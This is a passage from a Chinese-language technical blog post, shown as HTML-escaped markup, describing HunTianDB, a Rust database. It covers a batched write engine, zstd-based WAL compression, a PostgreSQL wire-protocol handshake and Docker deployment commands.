                    &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;interval&lt;/span&gt;&lt;span class="nf"&gt;.tick&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;batch&lt;/span&gt;&lt;span class="nf"&gt;.is_empty&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                            &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;crate&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nn"&gt;wal&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;batch_write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;batch&lt;/span&gt;&lt;span class="nf"&gt;.drain&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;.collect&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="k"&gt;.await&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
                        &lt;span class="p"&gt;}&lt;/span&gt;
                    &lt;span class="p"&gt;}&lt;/span&gt;
                &lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="p"&gt;});&lt;/span&gt;
        &lt;span class="k"&gt;Self&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nn"&gt;Arc&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;batch_size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;flush_interval&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="cd"&gt;/// 无阻塞写入API，返回 true 表示成功（队列未满）&lt;/span&gt;
    &lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;submit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="k"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;raw&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Vec&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;u8&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;bool&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;self&lt;/span&gt;&lt;span class="py"&gt;.sender&lt;/span&gt;&lt;span class="nf"&gt;.send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;raw&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;.is_ok&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;flush&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="k"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;crate&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nn"&gt;wal&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;flush&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="k"&gt;.await&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;impl&lt;/span&gt; &lt;span class="nb"&gt;Default&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;WriteEngine&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;default&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;Self&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;Self&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nn"&gt;Duration&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;from_millis&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;strong&gt;亮点&lt;/strong&gt;：无锁通道 + 批量合并刷盘 + 过载保护。&lt;/p&gt;
&lt;h3&gt;
  
  
  4.2 WAL 二进制压缩模块（&lt;code&gt;src/wal/compress.rs&lt;/code&gt;）
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="cd"&gt;/// 自研WAL日志压缩模块，基于ZSTD流式压缩 + bincode二进制序列化&lt;/span&gt;
&lt;span class="k"&gt;use&lt;/span&gt; &lt;span class="nn"&gt;zstd&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nn"&gt;stream&lt;/span&gt;&lt;span class="p"&gt;::{&lt;/span&gt;&lt;span class="n"&gt;Encoder&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Decoder&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="k"&gt;use&lt;/span&gt; &lt;span class="nn"&gt;bincode&lt;/span&gt;&lt;span class="p"&gt;::{&lt;/span&gt;&lt;span class="n"&gt;serialize&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;deserialize&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;DEFAULT_COMPRESS_LEVEL&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;i32&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;compress_record&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;record&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;WALRecord&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;Result&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;Vec&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;u8&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;HunTianError&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;serialized&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;serialize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;record&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="k"&gt;mut&lt;/span&gt; &lt;span class="n"&gt;encoder&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;Encoder&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nn"&gt;Vec&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;DEFAULT_COMPRESS_LEVEL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;encoder&lt;/span&gt;&lt;span class="nf"&gt;.write_all&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;serialized&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nf"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;encoder&lt;/span&gt;&lt;span class="nf"&gt;.finish&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;decompress_record&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;compressed&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;u8&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;Result&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;WALRecord&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;HunTianError&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="k"&gt;mut&lt;/span&gt; &lt;span class="n"&gt;decoder&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;Decoder&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;compressed&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="k"&gt;mut&lt;/span&gt; &lt;span class="n"&gt;serialized&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;Vec&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="n"&gt;decoder&lt;/span&gt;&lt;span class="nf"&gt;.read_to_end&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="k"&gt;mut&lt;/span&gt; &lt;span class="n"&gt;serialized&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nf"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;deserialize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;serialized&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;batch_compress&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;records&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;WALRecord&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;Result&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;Vec&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;u8&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;HunTianError&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;serialized&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;serialize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;records&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="k"&gt;mut&lt;/span&gt; &lt;span class="n"&gt;encoder&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;Encoder&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nn"&gt;Vec&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;DEFAULT_COMPRESS_LEVEL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;encoder&lt;/span&gt;&lt;span class="nf"&gt;.write_all&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;serialized&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nf"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;encoder&lt;/span&gt;&lt;span class="nf"&gt;.finish&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;strong&gt;亮点&lt;/strong&gt;：二进制序列化减少体积 5 倍 + ZSTD 高压缩率 + 批量压缩优化。&lt;/p&gt;
&lt;h3&gt;
  
  
  4.3 PG 协议握手核心实现（&lt;code&gt;src/proto/handshake.rs&lt;/code&gt;）
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="cd"&gt;/// 自研PostgreSQL Wire Protocol 3.0 握手实现，完全兼容psql、DBeaver&lt;/span&gt;
&lt;span class="k"&gt;use&lt;/span&gt; &lt;span class="nn"&gt;tokio&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nn"&gt;io&lt;/span&gt;&lt;span class="p"&gt;::{&lt;/span&gt;&lt;span class="n"&gt;AsyncRead&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;AsyncWrite&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;AsyncReadExt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;AsyncWriteExt&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="n"&gt;handle_handshake&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;R&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;W&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;mut&lt;/span&gt; &lt;span class="n"&gt;reader&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;R&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;mut&lt;/span&gt; &lt;span class="n"&gt;writer&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;W&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;Result&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;StartupMessage&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;HunTianError&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="k"&gt;where&lt;/span&gt;
    &lt;span class="n"&gt;R&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;AsyncRead&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;Unpin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;W&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;AsyncWrite&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;Unpin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;startup_msg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;read_startup_message&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="k"&gt;mut&lt;/span&gt; &lt;span class="n"&gt;reader&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;.await&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;startup_msg&lt;/span&gt;&lt;span class="py"&gt;.protocol_version&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;PG_PROTOCOL_VERSION&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nn"&gt;HunTianError&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;ProtocolError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"unsupported version"&lt;/span&gt;&lt;span class="nf"&gt;.into&lt;/span&gt;&lt;span class="p"&gt;()));&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="nf"&gt;send_backend_greeting&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="k"&gt;mut&lt;/span&gt; &lt;span class="n"&gt;writer&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;.await&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nf"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;startup_msg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="n"&gt;send_backend_greeting&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;W&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;writer&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="k"&gt;mut&lt;/span&gt; &lt;span class="n"&gt;W&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;Result&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;HunTianError&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="k"&gt;where&lt;/span&gt;
    &lt;span class="n"&gt;W&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;AsyncWrite&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;Unpin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;write_backend_message&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;writer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nn"&gt;BackendMessage&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;AuthenticationOk&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;.await&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="c1"&gt;// 发送 ParameterStatus (server_version, client_encoding, ...)&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nd"&gt;vec!&lt;/span&gt;&lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="s"&gt;"server_version"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"14.0"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"client_encoding"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"UTF8"&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nf"&gt;write_backend_message&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;writer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nn"&gt;BackendMessage&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;ParameterStatus&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="nf"&gt;.to_string&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="nf"&gt;.to_string&lt;/span&gt;&lt;span class="p"&gt;()))&lt;/span&gt;&lt;span class="k"&gt;.await&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="nf"&gt;write_backend_message&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;writer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nn"&gt;BackendMessage&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;ReadyForQuery&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;.await&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nf"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;(())&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;strong&gt;亮点&lt;/strong&gt;：手动实现协议握手，无第三方依赖；完全兼容 PG 生态客户端。&lt;/p&gt;


&lt;h2&gt;
  
  
  五、生产级部署与运维实践
&lt;/h2&gt;

&lt;p&gt;HunTianDB 采用“轻量部署、低运维成本”设计，支持 &lt;strong&gt;Docker 一键部署&lt;/strong&gt; 与 &lt;strong&gt;源码编译部署&lt;/strong&gt;。&lt;/p&gt;
&lt;h3&gt;
  
  
  5.1 Docker 一键部署（推荐）
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 国际 (Docker Hub)&lt;/span&gt;
docker pull ctkqiang/huntianandb:v0.1.3.beta

&lt;span class="c"&gt;# 中国 (阿里云容器镜像)&lt;/span&gt;
docker pull crpi-onofuhwrkmb5z0mn.cn-hangzhou.personal.cr.aliyuncs.com/nezhawanluoanquan/huntiandb:v0.1.3.beta

&lt;span class="c"&gt;# 运行&lt;/span&gt;
docker run &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-p&lt;/span&gt; 5408:5408 &lt;span class="nt"&gt;-p&lt;/span&gt; 3000:3000 &lt;span class="nt"&gt;-p&lt;/span&gt; 5490:5490 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-v&lt;/span&gt; huntian_data:/app/data &lt;span class="se"&gt;\&lt;/span&gt;
  ctkqiang/huntiandb:952d3f4e19adb464cd5da2d02edeed1d9a89781e
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
